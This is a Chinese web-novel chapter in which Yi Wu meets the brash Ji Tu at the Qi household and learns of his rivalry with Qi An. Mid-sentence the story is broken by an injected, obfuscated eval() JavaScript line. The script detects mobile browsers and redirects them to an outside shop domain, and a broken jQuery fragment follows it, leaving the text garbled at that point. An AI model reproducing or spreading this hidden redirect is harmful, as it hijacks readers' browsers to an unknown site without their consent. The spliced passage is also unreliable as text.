还没等祁安冷静下来,堂外就传来一阵爽朗的笑声,易伍刚要去看,就见到祁安整张脸都黑了下来。
祁安板着脸,先易伍一步走到大堂门口,目光深邃的盯着前面逐渐走来的人,就连说出口的话都带上了冷意。
“你不是想知道宋余的事情么,喏,养鱼的来了。”
易伍原本还在张望,但看到祁安这架势后就基本上歇了心思,再听到祁安这话,立马乖乖坐回椅子上。
宋余那边的人啊,那没事了。
或许是祁安还在乎来人的脸面,又或是那人实在不要脸皮,总之,即使易伍安静坐在正堂,依旧见到了来人。
来人大概和祁安同龄,却穿着一身月白色直缀,再加上款款而来的气势和那张男人都会嫉妒的脸,总之,祁安站在他身边是黯然失色的。
进了正堂后,来人也不等什么主人发话,朝易伍行了个常礼后,十分自觉的自己找了个位置坐下。
“我不过几日没来,怎么祁家的下人这般怠慢,祁安啊祁安,你失职。”
季徒用手指扣了扣身旁的小桌,示意自己手边没茶。
祁安能放他进正堂已经憋了一肚子的火,当然不可能示意侍从给他添茶。
要不说季徒是能突破祁安的封堵挤进祁家正堂的人物呢,人家根本不在意祁安的态度,见指使不动侍从,干脆伸手端了祁安座位旁的茶。
易伍面无表情的摸了摸茶杯外壁,脸上的笑容更盛了两分。
是个妙人。
她和祁安已经聊了不短的时间,虽然侍从中间加过茶水,但如今正值暮春,气温本就不高,几番耽搁下来,至少易伍这杯茶水已经冰凉。
季徒才不管这些,美美喝了一口后,像是刚注意到易伍一样,双眼迸射出的惊喜简直要化为实质。
“祁安祁安,你哪里找来的小姑娘,瞧这模样,周正!”
易伍这下彻底憋不住了,在丰乐楼梳洗的时候,她可是特意欣赏了自己如今这张脸的。
虽不算丑陋,也不过中人之资,甚至因为长期营养不良,显得消瘦和弱小。
能对着自己这张平平无奇的脸,露出捡到宝的表情来,也算是为难他了。
易伍朝着祁安眨眨眼,试图用并不存在的默契询问这人的来历。
除了嚣张,易伍甚至找不到别的词可以形容他。
祁安不知道有没有接收到易伍的信号,见易伍看过来,只能满脸不情愿的向易伍介绍了这人。
“我跟你提过的,季徒,通济会如今的副会长,也经营着一家药玉作坊。”
而后,在季徒眼睛都要眨巴抽筋的暗示下,也没再听到祁安的后一句话。
什么意思,竟然不向自己介绍小鱼儿,这人绝对是故意的!
季徒磨了磨牙,最后决定自我推销一下。
而另一边,易伍则是一头雾水,是她在看册子的时候分心太过,错过了重点消息么?
她可不记得祁安说过通济会有这么一号人物。
“重新认识一下,我,季徒,林音唯一衣钵传人,若不是祁安藏着工艺册子,说不定钱塘郡第一药玉作坊的名头早是我的了!”
季徒一副舍我其谁的模样,眼露幽怨的看了眼易伍手边的工艺册子。
易伍脸上的笑容又腼腆了两分,她并不反感季徒,猛地在规行矩步的大梁见到这么个放浪形骸的人,她甚至有些惊喜。
不过她只是斟酌的行了个四不像的万福礼,并没有说一句话。
季徒倒也不嫌弃,笑呵呵的请易伍重新坐下,而后就自来熟的和易伍这个小姑娘套近乎。
“姑娘哪里来?”
“姑娘在钱塘可有亲人,若无落脚地……”
“我见姑娘亲切……”
诸如此类毫无营养的话题,季徒准备了不少,听的易伍直皱眉头。
眼看着易伍投向祁安求救眼神的频率越来越高,季徒这才收敛了些,递过来一个精致的荷包。
“许是有缘,我一见鱼姑娘就心生欢喜,这是我作为长辈的心意,还望姑娘不要嫌弃。”
在得到祁安的首肯后,易伍十分矜持的收下,而后又行了个万福礼,算是谢过。
“多谢季徒叔父。”
见到季徒那张好看的面皮上浮出憋屈的神色,易伍眼珠一转,又朝祁安行了个礼。
“姐夫,若无事,我先去收拾了。”
好嘛,叫祁安就是姐夫,到了季徒这里,称呼就成了叔父,季徒咬咬牙,脸上的笑容都有些扭曲。
“鱼姑娘真是说笑……”
有人咬牙切齿,就有人欢欣鼓舞,祁安见易伍连姐夫都愿意喊了,虽然知道是故意拿来气季徒的,也乐的合不拢嘴。
还没笑两声,见季徒还要纠缠,赶忙出声阻止。
“见也见了,见面礼也收下了,满意了就赶紧滚!”
祁安下意识去手边摸茶杯,摸了个空才想起来茶杯被季徒端走了,脸色更黑了两分。
祁安下了逐客令,季徒倒也不纠结,眼睛在易伍身上转了一圈,脸上的笑意更盛。
“小鱼儿啊小鱼儿,若在祁安这里呆腻烦了,或是阿音册子上有什么不懂得,随时去隔壁找我,去磬音坊找我也是使得的。”
季徒都走出了正堂,这句话才被他说完,易伍暗暗琢磨了“磬音坊”三个字,脸上的笑也带上了些玩味。
“季徒,和尊夫人很熟?”
看着祁安并不算好的脸色,易伍斟酌着开口。
祁安盯着季徒的背影,只觉得憋屈,回答的声音易伍差点没听清。
“阿音亲手建起的工坊,让这小子学走了大半。”
这句带着不少恨意的声音过后,才是祁安真正给出的回答。
“他算是阿音第一个徒弟,虽没有正式拜师,但工坊的建造他出力不小。
你刚问的宋余,十有八九就是他一手安排的。
宋余是宋家旁支的幼子,本没什么特别的,但这几年靠着通济会的大力支持,几乎要从宋家主支的碗里抢东西了。”
易伍没想到季徒闹了这么一通之后,祁安竟然还记得宋余的事,眸色亮了亮,继续追问。
“宋余很厉害?”
不然怎么能得到通济会的青眼不是?
祁安没否定也没肯定,冷笑一声后,又丢给了易伍一个问句。
“你可知道,季徒他们叫那小子什么么?
小鱼儿!”
易伍原以为是叫自己,愣了一瞬后才明白,宋余在通济会那些人嘴里,也叫小鱼儿来着。
“呵,他是哪门子的小鱼儿!
像宋余这样的小鱼儿,季徒手里不下五条!
他!他就是个养鱼的!”
这段话,祁安说的咬牙切齿,还带着些不屑,似是看不上季徒这样的养鱼手段。
易伍察觉到其中信息量不小,正在反复忖度,反倒是祁安,似是想到了什么,恶狠狠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726293|208858||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的补充了一句。
“呸,一群东施效颦的家伙,磬音坊!他也配!”
良久之后,易伍才反应过来,弱弱的问了个和之前的对话内容并不算相关的问题。
“季徒每次登门,都是这么横冲直撞,畅通无阻么?”
一句话,成功让祁安本就不好的脸色,再次黑了一个度。
祁安再次摸向茶杯的手扑了空,又开启了小声嘟囔的模式。
“毕竟在阿音这里住了几年,还能拦着他回家么?”
易伍点头,果然是个念旧情的。
祁安这处境,要是换到易伍身上,根本就不可能让季徒有继续蹦跶的可能。
不,若换做是易伍,季徒生出要再建个工坊和自己打擂台的念头时,易伍就能把这点念头彻底掐灭。
作威作福?易伍会让他知道,究竟谁才是那个有本事横的。
好似什么都不知道,又好似装了一肚子的八卦,易伍和祁安的第一次对话,就在这沉默的氛围中结束了。
祁安给易伍准备的院子位置很好,距离最为喧闹的正门较远,又离日常进出的小门不远,想出门大可以不经过任何人的院子。
易伍考察过地理位置后,至少三条逃生通道已经在脑子里成型。
唯一让易伍比较介意的是,分给自己的林苑距离林清和的院子太近了。
易伍一向是个怕麻烦的性子,最怕的就是和些没头没脑的人打毫无逻辑的嘴仗。
有那闲工夫,她早就把人按在地上了,想打嘴仗,还是先问过她的拳头吧。
好在第一个晚上,林清和并没有打扰她。
休息的非常好的易伍,在祁安陪着她吃早饭的时候,就已经规划好了自己的行程。
她要去逛街!
祁安并没有告诉她工坊具体出了什么问题,易伍也没那个闲工夫去看那些毫无头绪的工艺,所以干脆决定去钱塘郡最热闹的地方,观摩一下工坊里产出的成品。
透过产出,自然可以窥见工艺流程中的问题,之后再针对性的研究林音留下的工艺册子,效果自然更好。
只是,易伍第一次主动要求出门,祁安表现出的紧张实在是吓到了没什么见识的易伍。
祁安当然对于易伍出门的想法没什么意见,但同样也没打算让易伍就这么一个人在钱塘乱闯。
祁安拍了拍手,早就候在门外的侍从中,走出十多个服饰整齐的壮硕男子。
“来,挑挑看,以后出门带上他们,也好有人帮你拎东西。”
易伍只剩下震惊到合不上嘴巴了。
这阵仗,她是真没见过。
还不知道自己这平常的举动吓到了易伍,祁安还特意挨个介绍过去。
“这个,脚上功夫不错,爬高上低、跑腿传信什么的,交给他大可以放心。
这个,手上功夫不错,若是遇到……”
祁安一路介绍下来,易伍的下巴差点收不回来。
直到最后一个,祁安看了又看,最后只能叹了口气。
“这个长了张桃花脸,实在是可惜了,他手上功夫原也不错的。”
易伍:……
不能因为季徒也是一张桃花脸,你就说人家的桃花脸可惜了啊!
什么时候桃花脸成了扣分项了?
不过易伍也知道,现在不是纠结这个的时候,她如今更头疼的,是怎么说服祁安,别让她带这么多人出门。
出个门而已!